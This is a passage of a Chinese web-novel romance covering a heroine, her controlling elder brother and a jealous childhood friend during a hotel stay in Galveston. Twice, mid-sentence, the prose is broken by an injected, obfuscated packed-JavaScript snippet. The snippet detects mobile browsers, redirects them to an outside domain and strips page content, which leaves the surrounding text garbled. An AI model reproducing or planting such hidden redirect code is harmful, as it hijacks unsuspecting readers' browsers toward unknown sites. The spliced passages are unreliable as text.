他不止一次地思考过,自己是否真的对她束缚太深?可是他没有办法。 现在的巢穴周围仍然危机四伏,他怎能放任雏鸟四处翱翔? 吃过亏,上过当,这个世界他早已不相信任何人。 孟岑筠将礼物盒重新盖上,心中犹疑:或许等到明天,她心情会好一点。 小孩子闹脾气,睡一觉就好了。 他正这么想着。 隔壁房间忽然传来一声惊恐的尖叫。 他猛地站起身,紧接着咚咚的砸门声也跟着响起来,夹杂着几声细弱的呼喊。 心脏被揪紧,孟岑筠匆忙打开门,对上兰嘉仓惶失措的泪眼。 “哥……” 她像是一下找到重心,不管不顾地倒进他怀里。 孟岑筠被撞得后退一步,愣了愣,两只手臂紧紧搂住她。 作者有话说 显示所有文的作话 第3章 雏鸟 7. 潮润 见到是孟岑筠,她有些不自然地避开视线,“哥,你不开会了吗?” “嗯,国内已经很晚了,让他们先休息。” 邪恶的工厂主也有良心发现的时候?她不禁想。 他见她没有回答的意思,便主动跳过这个话题,“你找我有什么事?” 她这才想起最初目的,但真到了他面前,却没来由打起退堂鼓。她总不可能告诉他,乔子穆有意向她求婚?尽管她心里仍然觉得他是临时起意,算不得真。 自从被孟岑筠严令禁止早恋后,她便有些抵触与他讨论感情之事。兰嘉还记得之前在加州念高中时,本以为离得那么远可以肆无忌惮,谁知道刚萌生了恋爱的念头,孟岑筠便一个警告电话打过来,吓得她不敢再行动。 她一直觉得孟岑筠在她身边安插了秘密眼线,纵使相隔万里,依旧可以严密地监视她的一举一动。这种被时刻窥视的感觉简直令人头皮发麻。 时至今日,她偶尔回想起那个拥有美丽绿眼的男孩时,一直深深遗憾,这些年来,她甚至都没能好好谈过一场恋爱。 深思熟虑过后,兰嘉心上又封闭一层,决定先不告诉孟岑筠。 她有些尴尬地挠挠头,准备想个理由搪塞过去,绞尽脑汁了半天,胡言乱语道:“没什么事,就是头发腻了两三天,很不舒服。哥,你能不能找个人帮帮我,我一只手没办法洗……” 孟岑筠看了她一会儿,问道:“你希望找谁帮忙?” 这句话落到兰嘉耳朵里,却莫名的异样,他该不会是想趁机敲打她,让她不要老是去找乔子穆帮忙?她还不至于这样没分寸。 也是怕说错话引起矛盾,于是她谨慎开口:“合适的就好,哥……你来做主吧。” 说罢,兰嘉小心翼翼地观察他神色,见他好像并不怎么认同的样子,顿时有种押题押错了的感觉。 “你先回房间,我会安排。”他淡声说了这么一句。 兰嘉忙不迭点头,刚走出去几步,又折返回来抱起礼物盒,一溜小跑没影了。 孟岑筠见她躲躲闪闪的样子,暗地里叹了口气。就这么不想见到他? 兰嘉回了房,将礼物很是爱惜地收好,很快便有酒店里的工作人员上门,两人合力搬来一张葡萄紫的绒布躺椅。 好在浴室足够宽敞,躺椅挨着浴缸竖放也不显得挤窄。 她将头发披下来,用梳子顺了顺,坐等孟岑筠安排的人来。 百无聊赖地摆弄起发丝,出来这些天只顾着疯玩,发尾干燥得厉害,想着回国后去找静薇介绍的护理师保养保养头发。暑期刚开始,她就为自己找了戏服设计师助理的实习,原计划旅行结束后,再过一星期就进剧组待命。这是她人生中的第一份工作,兰嘉想以最好的面貌去对待。 当然,她依旧没有告诉孟岑筠。要让他知道她出去找事做,肯定又要寻根究底地盘问她。 兰嘉正想着到时候先斩后奏,略一回神,抬头又撞上孟岑筠视线。她腾地站起身,探身望了望他身后,没有其他人。 很快想到另一种可能性,兰嘉讶异地睁大眼,“哥?” 孟岑筠确定地“嗯”一声,说道:“正好我现在有空,我帮你。” “这……还是不用麻烦了吧?”她吱唔出声。 但孟岑筠似乎不给她拒绝的理由,径直走过来,一只手轻按在她肩上:“躺下吧。” 兰嘉没辙,只好乖乖往下躺,但仍然很紧张,两只手抓着衣摆边缘,一双眼飘忽不定,不知道看哪里。如果现在给她一张沙丁胺醇的使用说明书,她想她应该会看得很开心。 洗发用具早已备好在浴缸边的托盘中,孟岑筠在她身旁坐下,慢条斯理地将黑色衬衫衣袖挽到小臂。 兰嘉无意间瞥了眼,他的手臂看上去健壮有力,但有种不见天日的白,隐埋在皮下的青筋凸起,血管也很明显,却不显得狰狞。这让她不禁想到,去年夏天她与乔子穆在棕榈滩享受阳光与冰镇果汁时,孟岑筠却还在工作。 在兰嘉记忆里,他几乎全年无休,就连节假日不在公司,也要将他的战场搬来家里。每次路过书房时,她都会被里面肃穆的氛围震慑住,从而避而远之。 年纪稍小的时候,其实她也有想过让孟岑筠陪她一起去旅行,可是他整天忙,连晚饭都赶不及吃,留她一个人的时候,心中总有小小的埋怨。 现在大了,慢慢能理解他都是为了这个家,但也没好意思主动约他。每次和朋友出去玩,一想到孟岑筠还在辛苦工作,总要带着两三分愧疚。 兰嘉这样想着,脸上神情也就更复杂,孟岑筠俯下身,一只手托住她后脑勺,无奈提醒:“紧张什么?你不是躺在老虎凳上。” 她含糊地“嗳”了声,眼睫低垂着。 浴缸花洒被他打开,调试水温后,孟岑筠动作很小心地弄湿她头发。兰嘉便像只碰了水的猫,如同被施定身术,动也不敢动。 两人离得很近,热气缓缓蒸腾上来,浴室空气好像也稀薄了许多。 兰嘉尽力平缓呼吸,感受着他的手指在头皮上打旋、按压,揉搓出薄荷香气的泡泡。有零星泡沫溅到额头和眉毛上,被他用拇指细心拭去,最为柔软细腻的指腹接触到她皮肤,划下几道痒意的痕迹,兰嘉睫毛抖了抖,一阵奇敏,忽然十分感伤。 似乎从她青春期开始,她与孟岑筠便断绝了一切密切的身体接触,准确来说,是他单方面避着她,禁止她,纵使她习惯性地飞扑过去迎接他,孟岑筠也只会严肃地退开,并认真教育她不能像从前那样没有性别意识。 那对当时的兰嘉来说,实在有巨大的心理落差感,明明小时候那样黏着他也不生气,可现在却连一个拥抱也不肯给。伤心失落的时候,其实兰嘉潜意识里最想亲近的人是他,可一想到他拒绝的样子,便只能一再的退缩、退缩。 明明他们应该是这世上最亲密的家人,可现在又为什么会变成这个样子?光想一想,兰嘉只觉得鼻子一阵泛酸,嘴角跟着撇下来,怕他看见,赶紧曲起两只胳膊挡住双眼。 孟岑筠匆忙关了花洒,想伸手碰她,可手上都是滑溜溜的泡沫,于是静默着,过了一会儿才轻声问:“为什么不开心?” 兰嘉摇摇头,眼泪却还是不争气地浸泡着她,用手臂揩拭,半张脸都是腻润的水迹。她不喜欢自己总是落泪,尤其是在孟岑筠面前,这会显得她非常弱势,但架不住她从小到大都是一个情感充沛的人。于是哭也只能收敛着,尽量不发出任何声音。 其实她也是在怨自己,只要孟岑筠对她有一点点好,她就抵抗不住。哪怕前一天晚上再怎么吵得不可开交,甚至暗下决心要逃离他,可只要一件礼物,几句轻言软语,又能轻而易举地将她哄回来。 她讨厌这种不受控制的感觉。 但她好像更没办法放弃孟岑筠。 兰嘉哽咽哽咽,哭得更伤心了。 孟岑筠叹息一声,再次打开花洒喷头,将兰嘉满头的泡泡冲洗干净。淋淋漓漓的水声中,她听见他低声向她道歉。 兰嘉猛地撤开了两只胳膊,怀疑自己听错,湿润泛红的眼睛直愣愣地盯着他。 “哥,你刚才说什么了?” 孟岑筠不语,只将她脑后长发一点点拧干。 她却依旧倔强地望着他,语气急了,像是一定要问出什么所以然来。 “哥!” 他这才愿意正视她,目光落到她身上,轻薄到没有任何重量,像极松软的薄绸。可她莫名觉得是惆怅有愧的。 兰嘉看着他伸出一只手,轻轻覆盖在她双眼上,肌肤相贴的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她默念着来日方长,来日方长……但又实在兴奋,嘴角控制不住地上扬,在颊边拧出两个浅浅的梨涡。 孟岑筠拿来一张毛巾罩住她脑袋,揉了揉,问道:“就这么开心?” 她神秘地一笑,不语。 孟岑筠给她道歉,多难得。 他向来是不会表达感情的那类人,今天这句“对不起”,虽没当着她的面说,但想必也做了不少心理建设。 她光想一想那画面,便骄傲得尾巴都要翘到天上。 孟岑筠早已看透她那点小心思,想着让她高兴高兴也好,便也随她去了。 吹风机隆隆的声音响起,两人被热风与发丝温暖洁净的香气包裹着,都没讲话了。 过了一会儿,兰嘉才问:“是不是有人敲门?” 孟岑筠停了吹风,也隐约听到了,“应该是医生上门,我去看看。” 兰嘉点头,心想来得正巧,从早晨起,她伤口好像更疼了。 可坐在原地等了半天,依旧不见孟岑筠回来,她暗中疑惑,于是起身前去查看。 才走到客室,便远远望见孟岑筠背影,再仔细看,门口还立着一个乔子穆,只是大半身影都被孟岑筠挡住。两人低声说了些什么后,乔子穆注意到她,眼神亮了亮,但又很快黯淡下去。 她忽然想起从前明姨给她讲乡下趣事时,家里养的小黄狗生病了不能出门,来找它玩的小伙伴被主人拦在门口时,大概也同乔子穆一样沮丧。 孟岑筠也像感应到什么似的,侧头望向她,神色中是还未来得及收敛的严厉。 兰嘉整个人暴露在原地,没来由一阵心累,像是两辆火车轰隆隆地开,开错了轨,要撞上了。 而她,正好倒霉地站在车头中间。 8. 蝴蝶兰 三人就这样默然对峙片刻,兰嘉只好肩负起打破尴尬的重任,她一边思考,一边趑趄地往门口挪动,站到孟岑筠身后半步,轻声询问:“小乔,你找我什么事?” 乔子穆见她大半身影都被掩住,两人像是隔着监牢铁栅栏对话,顿时心中郁闷,“丝巾找到了,我拿来给你。” 兰嘉见到他手里提着的纸袋,一阵欣喜刚涌上来,但一想到孟岑筠在旁边,又生生压下去半分,声音也低了低:“太好了,谢谢你。” 乔子穆抿唇,笑得十分拘束。 兰嘉苦思冥想,不知道还有什么得体话可讲,忽然感受到一只大手落在她右肩上,握了握,力道又很快消失。 “等会儿过来吹头发。”孟岑筠留下这句话,便转身进去了。 兰嘉应了,下意识去摸肩膀,只觉得他人走了,那触感还在,有种提醒意味,让她不要逗留太久。 料到孟岑筠刚才肯定没给乔子穆好脸色,她有些抱歉地笑了笑:“我哥向来是这个脾气,我在他面前也一样。” 乔子穆瞧见兰嘉半干的发丝润润地披着,不免多心:洗头这样的事,也要兄长代劳吗? 但他并未多问,神情里透露出一点委屈,“解释做什么,你明知道我从不在意这些。” “兰嘉,这样好像显得我们疏远了很多。”他终于有机会靠近她一步。 兰嘉扯了扯嘴角,仔细琢磨自己的心,发现就算孟岑筠不在,她对乔子穆,一时也难再回到从前那样无拘无束。早晨那番话,虽不至于像条河,但至少也是一条溪流的隔阂,横亘在二人中间,潺潺流淌着。他想伸手拉她到身边,她却怕蹚湿了鞋。 乔子穆察言观色厉害,见她犹疑模样,立刻明白她还在咀嚼那件事,钻了牛角尖,所以刻意疏离他。 为使她定心,一咬牙,改变策略,于是换作一副松弛语气,半讶半笑地说:“你该不会真在考虑我的提议吧?” 兰嘉立刻白了他一眼。 她从没想过结婚,更没想过和乔子穆结婚。 和她从小厮混到大的人,熟悉得就像另一个自己,那得少掉多少探索的乐趣? 乔子穆注意到她嫌弃的表情,总算找回一丝熟悉感,继续趁热打铁,“兰嘉,其实我就是随口这么一说,就当我早晨脑子不清醒,你真不必放在心上。” 他拎起手中印着VOYANCE航运公司字样的纸袋,努努嘴,“你看吧,为了帮你守着游轮那边的消息,我可是起了个大早。”又指着眼下的一圈青,向她诉苦:“你看你看,昨晚又为你这事担忧了一夜,黑眼圈都快掉到地上。” 兰嘉忍不住想笑,但还是板住了,狐疑道:“真的?” 短短几小时内两幅面孔,真不知道他在唱什么戏。 乔子穆见她还不信,心一横,干脆豁出去了。酝酿一会儿,极认真同她讲:“兰嘉,你别多想,我对你……并非是那种心意。” 兰嘉暗地里松了口气,仔细想想也是,那算哪门子的告白?或许乔子穆的确是真心诚意给她提建议?是她想太多,想歪了。 这样一串起来,只觉得脑子也清明了,心情也畅通了,便忍不住他胸膛狠狠捶上一拳:“我真是谢谢你了。”但笑容也真心了几分,“谢谢你帮我找回丝巾。” 乔子穆捂着胸口,佯装一副被击退的柔弱样子,也跟着她笑起来,其实心里像是被无数根针扎透了,在滴血。 她怎么可以露出这样如释重负的表情?怎么可以如此残忍,连一丁点希望都不留给他? 他咧着嘴笑,感受着痛敏神经被不断撕扯的绝望,拳头攥紧到骨节发白。然后又听见兰嘉开口,像是仍不放心地补充一句:“小乔,你知道的,爱情保质期太短,而友情,永远比爱情更坚固。我之所以抗拒,只是因为不想失去你这个朋友。” 乔子穆点头,暗中却更加咬牙切齿了。 爱情之外,还有亲情,亲情难道不比友情更加坚固?她根本不明白,他已经不满足做朋友,更不想做情人,他最想做的,是她的家人。斩不断的纽带,天长地久地将他们绑在一起,或许有一天,她真的对他生出一点真心?在一段有保障的关系中相爱,这样才是最保险的,商人家庭出身,他向来深谙如何规避风险直取核心。 对于兰嘉,他不允许自己输。 兰嘉见他神色有异,歪着头确认:“小乔,我们现在还是好朋友对吗?” 乔子穆勉力将翻涌的情绪压制,像是关住一群随时冲出笼子的野兽。他又抿出一个微笑,极真挚的,极纯良的,就像以往他在兰嘉面前做的那样。 “当然,你永远是我最好的朋友。” 兰嘉这下是彻底放心了,畅快地握着拳头与他相碰。 “那我先说好,上次那些事,以后我们都不许提了,这一页也算彻底翻篇。” 乔子穆依旧保持着微笑,却是从牙缝里硬挤出来一个字。 他说好。 兰嘉接过纸袋,小心谨慎地往里看,虽没见到孟岑筠身影,但还牢记着他方才的提醒。 计时的沙漏漏到底了,她对乔子穆摆摆手:“我哥在等我,我先进去了。” 眼见她要掩上门,乔子穆匆忙补充一句:“等会一起吃午餐,好不好?” 兰嘉笑眯眯地答应了。 屋内,孟岑筠正端着一杯刚做好的黑咖啡走到客室,看了眼时间,不偏不倚八分钟,才坐在沙发上,兰嘉便过来了。 空气中弥漫着咖啡豆的香醇气味,她嗅了嗅,讨好笑道:“哥,我也想喝。” 孟岑筠掸眼看她,慢悠悠地端起冒着热气的骨瓷杯抿了口。知道她不会感兴趣。 兰嘉以为他不给喝,正要腹诽他小气,坐到他身边一看,皱了眉:“怎么老是喝这么苦的咖啡……” 不加糖也不加奶,喝得舌头都麻掉了。 说起来,她与孟岑筠的口味简直天差地别。一个健康寡淡到没油水,一个五中滋味齐齐上阵,家里做晚饭,指明要的菜品摆上来,颜色那叫一个泾渭分明,给餐桌划下一道楚河汉界。她该庆幸孟岑筠不屑同她玩闹,否则家里势必每天上演甜咸党派之争,酸辣口味大战。 很多时候兰嘉都会想,好歹人与人之间总有相似性?可这世界上怎么会有她与孟岑筠这样完全相反的案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861381|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例?性格、爱好、处事风格都大相径庭。 做了二十年家人,他们像是同一个培养皿中出来的两个异类菌体。 但想想也觉得遗憾,就连吃这样最微末的小事都吃不到一起去,更别说其他。 有时候想与他聊聊共同话题,却是有心也无力。 兰嘉叹了口气,整个人像条风干咸鱼,顺着滑溜溜的丝绒沙发往下滑,脖颈弯折成一个丧气的角度。 孟岑筠瞥了她一眼,交代她:“等会儿我还有事,你待在房间不要乱跑,等医生上门再为你检查。” “噢。” “中午,你和我一起吃。” “唔。”兰嘉刚应了,随即反应过来不对,心里暗叫糟糕。 “等等……” “哥,要不我们还是晚上?”她心虚地同他商量。 “有约了?”他似笑非笑。 兰嘉听他搁下咖啡杯,杯底与瓷碟碰出清脆的一声,却似警钟。 又是一个送命题,她真的很想哀嚎一声。 这两个人碰上,无疑是针尖对麦芒,难堪的是她,遭殃的也是她。 乔子穆那边,关系才缓和,也事先答应了,不好再回绝。可孟岑筠那边,更难搞,她惹不起。 除非……让他主动说不? 非逼她二选一,说明他肯定也不想纡尊降贵与他们搅合。 兰嘉转了转眼珠,计上心头,笑得谄媚:“哥,要不……大家一起?” 孟岑筠沉吟一会儿,没答应。 兰嘉偷笑,果然不出她所料。 很快便到晌午,天没那么阴郁,透过酒店餐厅的落地玻璃窗,能看出暴雨趋势减缓。加尔维斯顿只是暂受飓风波及,听工作人员说,再过一两天,机场就会恢复运营。 乔子穆到得早,坐在一张樱桃木的圆餐桌前,等着兰嘉。桌布雪白,只留两幅餐具,原先插瓶的百合与小苍兰让人撤走了,旁边花几上的一球蝴蝶兰也撤了。 兰花颜色浓艳,花序如长龙,开得累累坠坠,据说是酒店拍卖购得的名贵种,与经理沟通半天,才让两人小心翼翼地合抱搬走。 这一番造势下来,让人想不注意都难,立刻有员工私语,猜测他等谁来。 没过多久,餐厅便过来一个身形纤盈的女孩子,乌发雪肤鹅黄裙,脸是古典的脸,雾眉弯弯,神色却不知为何有点愁。 之前猜测二人为情侣关系的员工笑了,摩拳擦掌,正要跃跃欲试地索要赌金,却没想到被同伴伸手一推,示意再看,这一看,十美金的赌注便长着翅膀飞走了。 只见那女孩身后跟来一个气质沉稳的高大男人,容貌极为出色,表情却很冷肃,只可远观的一座覆雪寒山。 两人并行着,风格迥异,体型悬殊,两张脸,一淡一浓,乍一看,半点相似也无,若看得仔细,则会发现,这两人的气场竟诡异的和谐。 乔子穆看到孟岑筠与兰嘉一同过来,暗中诧异,但眼见着迫近了,只好站起身来叫人:“岑筠哥。” 孟岑筠微微颔首,自然入座。 兰嘉对上他诘问的眼神,无言,唯有尴尬一笑。 9. 激流暗涌 大家皆落座,服务生很快添上一副新餐具。 圆桌不算大,两人还有闲余,三人显得略窄,要是手臂都搁到桌上,切牛排时,指不定要磕磕碰碰。 兰嘉端坐,两手放置膝盖,偶尔与乔子穆眼神交流,又顾虑着身侧那位,时不时小心探看,两头忙,做贼似的。 孟岑筠慢条斯理地将餐巾铺好,睁一只眼闭一只眼。 确认菜单,服务生推荐橄榄烩鲈鱼、虾与芝麻菜沙拉,还有希腊菜等等。甜品有兰嘉爱吃的意式奶冻、波士顿奶油蛋糕,但她现在无心关注口腹之欲,只想着如何度过眼前这关。 孟岑筠现在也学会了出其不意这套,临时决定跟来,不知道葫芦里卖的什么药。 乔子穆听到报菜名,下意识想到兰嘉忌口,正要与服务生交代一二,转念又想到人家正牌哥哥在场,忍不住窥视一眼,却发现他并没有开口的意思,定坐着,仿佛只是单纯来吃饭,并非存心向他找茬。心中犹疑转圜,待再看时,却发现他陡然转变为一副审视神情,锐利如冰棱。 他立刻明白,这午饭仍旧是鸿门宴。考察他来了。 乔子穆立刻支棱起来应对,将兰嘉往日习惯、口味,向厨房传达仔细。又往对面瞥了一眼,脸色略和缓。 菜一道道上,考虑兰嘉手伤未愈,他更是对她无微不至,百般照顾。 兰嘉夹在二人中间,本就窘迫,看着食物切小块,一道又一道地递到她面前,无奈,只得埋头苦吃,吃完了事。 一顿饭,吃得鸦雀无声,激流暗涌。兰嘉后面也察觉到了,用银匙小口瓦着蛋糕吃,一头雾水地想:乔子穆为何突然大献殷勤?孟岑筠又为何一言不发? 用过甜点,服务生过来将盘子撤下,兰嘉擦了擦手,这才听见孟岑筠开口对她讲话:“吃好了?” 兰嘉不明就里地点了个头。 “你先回房间。” 兰嘉迟疑,这是想要独留乔子穆的意思,但她不明白,这两个人有什么话可讲?还非得背着她。 既然孟岑筠已经下命令,不敢不从,于是拖拖赖赖地起身,向乔子穆投去一记“祝他好运”的眼神,一步三回头地向前磨蹭。孟岑筠蹙眉盯视她,兰嘉窘然,立刻脚底抹油地逃离战场。 乔子穆正襟危坐,一双手在掩在桌下紧握着,掌心微有汗意。 孟岑筠不紧不慢,也不搭理他,只让人开了瓶红酒过来。乔子穆知道他在存心消磨他,谈正事前,按照惯例先给个下马威。生意场上混迹多年,这套属实被他用得登峰造极。 两只高脚酒杯立在雪白桌布上,酒液猩红刺目,又是一层心理施压。孟岑筠握着杯子,轻缓摇晃着,手指贴着杯壁,映着酒色,苍白,却有很细致的锻炼痕迹。 乔子穆这才发现,他尾指上戴着枚戒指,银质,光泽内敛。他仔细辨认,很快认出这是兰嘉当初在岛上买的那枚,顿时心里滋味难辨。 当时就在她身边,她却神神秘秘不肯告诉他送给谁。现在想来觉得可笑,不送给他,又送给谁呢? 兄妹之间,合情合理,最天然亲密的近距离。 他像根狭缝里长出来的细弱草,看着花圃里向阳而生的两朵花,永远只能羡慕地窥视。 孟岑筠见效果差不多,搁下酒杯,对他开门见山:“你对兰嘉,想法如何?” 乔子穆心想:终究还是得过他这一关。此刻迂回无益,只好鼓足勇气,坦诚接受他盘问。 “我喜欢她。” “哦?”孟岑筠似瞋非瞋,又问:“她追求者众多,你又有何不同之处?” 兰嘉自念书起,便十分惹人注目,各方攻势接连不断,让他不得不亲自动手修剪她身边枝桠。 乔子穆喉咙微动:“我与她青梅竹马,两小无猜。” “唔。”他手指轻敲桌面,漫不经心,“你倒是瞒了她不少事。” 乔子穆听懂他意指何事,暗自捏一把汗。从小到大,他都与兰嘉同校,每当她心思飘摇,他便有意无意将消息透露给孟岑筠,让他出面处理,他则暗中得利。从某种意义上来讲,他与孟岑筠是另类的狼与狈,只是一个在明,一个在暗,一个强势,一个弱势。 他在意兰嘉对他的看法,于是任人拿捏着他的命脉,这样不平等的互利关系,倒也相安无事地持续了许多年。只是他现在陡然掀桌,孟岑筠会不会也像对付其他追求者一样对付他?他不确定,但唯有赌,赌他不屑将他这点阴暗心思抖露出去。 只要兰嘉一直认为他单纯无害,他就还有机会。 见他装傻充愣,孟岑筠对此事不置可否,换个话题,再次发问:“兰嘉娇惯,你能给她什么?” 谈到物质,乔子穆掷地有声:“凡我所有,都会是她的。” “她不缺这些。” “再想想。” “若是她想要什么,我一定尽全力替她达成。” 孟岑筠笑了,有些许嘲弄之意:“你到何时才能独当一面?” 幸运如乔子穆,家世显赫,锦衣玉食,既有家中长辈谋划铺路,又有父母手足保驾护航。从小到大,顺风顺水,未经波折,自然心比天高。 他知道孟岑筠不信任他的能力,若站在他那样的高度考虑,那也情有可原。但见他如此轻描淡写就否定他的答案,乔子穆终究还是不忿。 他莫名想起他的经济学老师,脾气妖异的教授老头,他总是会用最犀利,最刻毒的方式,轻飘飘地将人贬得一文不值。他从不否认他有骄矜倨傲的资格,可是他唯独厌恶那副高高在上的睥睨姿态,就如同现在,就算他开膛破肚,将一整颗炙热真心捧出来,孟岑筠也只会不屑一顾。 可是他怎么甘心?十几年如一日到现在的执念,他怎能允许自己在最后的紧要关头被一票否决? 乔子穆定了定神,深思熟虑后,重振旗鼓道:“岑筠哥,我知道没有押注的许诺都是空谈,但我对兰嘉的心意没有一刻改变过。”他咬了咬牙,“请你,给我一次机会,给我三年时间,我会向你证明,兰嘉身边,不会有人比我更适合她,也不会有比我更好的选择。” 孟岑筠一直观察他,闻言,才终于肯正色两分,“当真如此决绝?” 他点头。 “光有喜欢可不够。” “我不敢轻谈爱,但真要论,她在我心里永远是首位。” “甚至超过你的家人?” “是。” “到几时?” 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他移开视线,拼命板住了不失态,后背却是被冷汗洇得湿黏黏。 他忍不住怨毒地想:孟岑筠不过寥寥数语,就能将他轻而易举地打压得爬不起来,可想而知,兰嘉在他身边,该是过着怎样憋闷窒息的日子? 想到兰嘉,心中又是一阵郁闷伤惨,郁闷她无论怎样压抑,还是没有勇气离开孟岑筠,伤惨他不管怎样努力,还是捂不暖一颗石头心。 如果没有孟岑筠横亘在他们中间?如果孟岑筠消失的话……是不是一切都会不一样? 十几年的相处,他不信兰嘉对他一点感情也没有。 乔子穆红了眼,阴湿怨气直冲上头顶,俨然已经将孟岑筠当作假想敌。 他紧咬着牙关,急促呼吸,既然伏低做小无用,那他偏要与他斗争到底。 见他情绪坍塌,孟岑筠冷笑一声,身体靠向椅背,这才慢悠悠抿了口酒,不再拿正眼瞧他。 兰嘉困在房间里,将一本VOGUE杂志翻来倒去地看,心里七上八下。她仍挂念着餐厅那边,看孟岑筠那架势,不知又要使出什么招数折腾人。想不明白乔子穆到底哪里惹到他,莫非还在记恨他撺掇她出来旅行?每次惹孟岑筠生气,他势必要牵累她身边人,极端手段,为的是让她长记性,知悔改。 回忆起从前往事,她心中又愧又急,将杂志往桌上一扔,小跑着出了门。 到了餐厅,一看,暗自懊悔来得太晚,二人谈话已经结束。 孟岑筠整理袖口,站起身,迈步离开。见她急匆匆跑来,伸手拉住她胳膊,轻斥:“冒冒失失。” 兰嘉望向乔子穆身影,面色焦急,请求:“哥……” 孟岑筠松了手。 到乔子穆身边,只见他如木偶定坐。 兰嘉心惊,一手推推他肩,试探问道:“小乔,你没事吧?” 他这才僵硬地转过头,露出一张苍白弱质的脸。 ! 10. 袖钉 兰嘉见他神情惨淡,眼底却通红,像是困兽斗争无果,身体疲软萎顿,精神却仍在苟延残喘,等待时机奋力一搏。 她心里既惊又怕,什么时候,孟岑筠的言语也有如此效应了?简直让人入魔似的。 看他这幅凄惨模样,兰嘉忍不住想起与乔子穆的幼时往事。 刚认识时,一个漂亮秀气的小男孩,少言寡语,身体积弱,总是独自呆在角落自娱自乐。她暗中观察过他很长时间,本该释放天性的年纪,他却一个朋友也无,顿时同情心大发,开始有意无意找他搭话。 但她很快发现,这人不是根瘦弱草,简直是块硬铁,不听、不看、不理。拯救戏码在她身上惨遭滑铁卢,兰嘉不依,越挫越勇,日日痴缠,总算撬动他一角心房。 尽管她后来知道乔子穆只是单纯的不想理人,可她那时候深受童话书洗脑,总幻想自己是游历四方的骑士,某地某时某刻,一定有位高塔中咒的公主等着她解救。 好不容易在现实中找到对照案例,她怎肯轻易放过?尽管略有出入,但只要稍加滤镜,添油加醋,自圆其说,怎么不算一场好戏呢? 两个人长大后,各自性格都变了许多,但在兰嘉心里,当初为乔子穆编排的柔弱形象实在太深刻,纵使知道他不再是那个矮她一头的小男孩,可兰嘉还是为他留存了一分怜惜之意。 就如同现在,只要一看见他那张弱质纤纤的脸,她就忍不住保护欲爆棚。 孟岑筠立在原地等候多时。 兰嘉回望他,请他给她时间。 他不认同,眉眼下压,冷冷的催促之意。 兰嘉紧握手指,硬着头皮,不动。 孟岑筠凝望她一会儿,不知是何滋味,转身走了。 乔子穆这才回神过来,仍惊魂未定似的。 “小乔,我哥他和你说什么了?” 说什么了?不过是将他的自尊心踩在脚下践踏,碾进尘土里罢了。 居高临下的姿态,不容置疑的口吻:“我认为,你与兰嘉不大合适。” 一切都结束了,也全完了,他确信自己交上了一份零分答卷,因为孟岑筠根本不给他作答的机会,便专制独裁地宣判了他的死刑。 他看着兰嘉担忧的神情,好像她的世界里只剩下他。是那样温柔的,怜惜的,他梦寐已求的,就算只有短短一霎,让他死也甘愿。他看着她,看着她,一种滚烫的痛楚犹如岩浆浇灌,痛得他几欲流下泪来。他开始懊悔,深深懊悔,自己为何如此气盛,不懂敛藏?如果他再冷静一点,谨慎一点,或许就不会被看透真实想法? 不,还是不可能……仿佛一到孟岑筠面前,就如同被十万伏探照灯当头照射,照得他欲望张牙舞爪,照得他恶念无处遁形。藏不了,也躲不了。 他这下,是彻底得罪了孟岑筠。 他与兰嘉,难道再无可能了? 不甘心,他不甘心…… “小乔,小乔?”见他又呆滞住,兰嘉用力拍拍他的脸。 乔子穆顺势抓住她的手,垂眸姿态,一双眼却是委屈得泪濛濛。 “没事的,兰嘉,我没事。” 兰嘉一听,便知道他勉力强撑,顿时火从心起:“你说,是不是我哥找你麻烦了?” 乔子穆不语。 见此情态,兰嘉已是心知肚明,当即就要走,“我去问我哥。” “别去——”他眼疾手快地拉住她。下意识不想让她离开。 兰嘉咬咬牙,“他不该这样对你,我得知道缘由!” 当真?她真的肯为他去与孟岑筠对质?她竟然真的肯。乔子穆从不可思议转变为狂喜,双眼发亮,如同异星。 此时此刻,兰嘉是他的救命稻草,他需要她的心软,他迫求她的垂怜,这是他唯一可以把握的机会。 于是他神色更可怜,握着她的手贴在自己脸颊上,如同流浪狗卑微乞怜:“兰嘉,不要去问他。这件事,我们都不要提了好不好。” “不管你哥说什么,也依旧无法改变我们之间的关系。你说过,我们永远是好朋友,对不对?“ “兰嘉,我永远不会离开你身边的。” 见此情景,她只好偃旗息鼓,任由乔子穆贴着她一只手,权当作微薄的补偿与安慰。 兰嘉料想,孟岑筠一定猜到乔子穆暗中劝说她离开,特来警告。这样一来,之前那些反常行为,不过是用来迷惑她、哄住她的糖衣炮弹。他希望她永远听话,希望她永远活在他的控制之下。 她感到一阵深深的失望,在他眼里,她到底算什么呢?家人?妹妹?不得不肩负的责任?还是他扮演家长角色的辅助道具?一具没有感情的提线木偶? 没人能猜透孟岑筠在想什么。 她好不容易粘合起来的心脏又有了裂痕。 一整个下午,兰嘉都与乔子穆待在一起,玩游戏,看电影,在酒店的各个角落探索,仿佛又回到了无话不谈的童年时期。 在此期间,孟岑筠没有催促她、打扰她,甚至没有找过她一次。他失望了?生气了?还是在思考别的招数对付他们?她突然不怕了,不在乎了,因为她也生他气了。 兰嘉想,她好像从来没有长久地拥有过一样东西,不管是她早已离世的父母,还是一只猫,一个玩伴,还是她那如同沙丁鱼罐头一样狭窄的自由。 她拥有的东西实在太少了。 现在,她只想守住她岌岌可危的友情。 两个人一起待到天黑,乔子穆留她吃晚餐,她没犹豫地应了。孟岑筠还是没找她。 心里开始有闷窒感,山雨欲来。她望着窗外浓黑的天色,忍不住自嘲,这才过多久。 饭后乔子穆又留她,但她忽然觉得累了,勉强笑笑,像缕幽魂飘回房间。 打开熟悉的对话框,依旧一条信息也没有。兰嘉有些愤愤地熄灭屏幕。 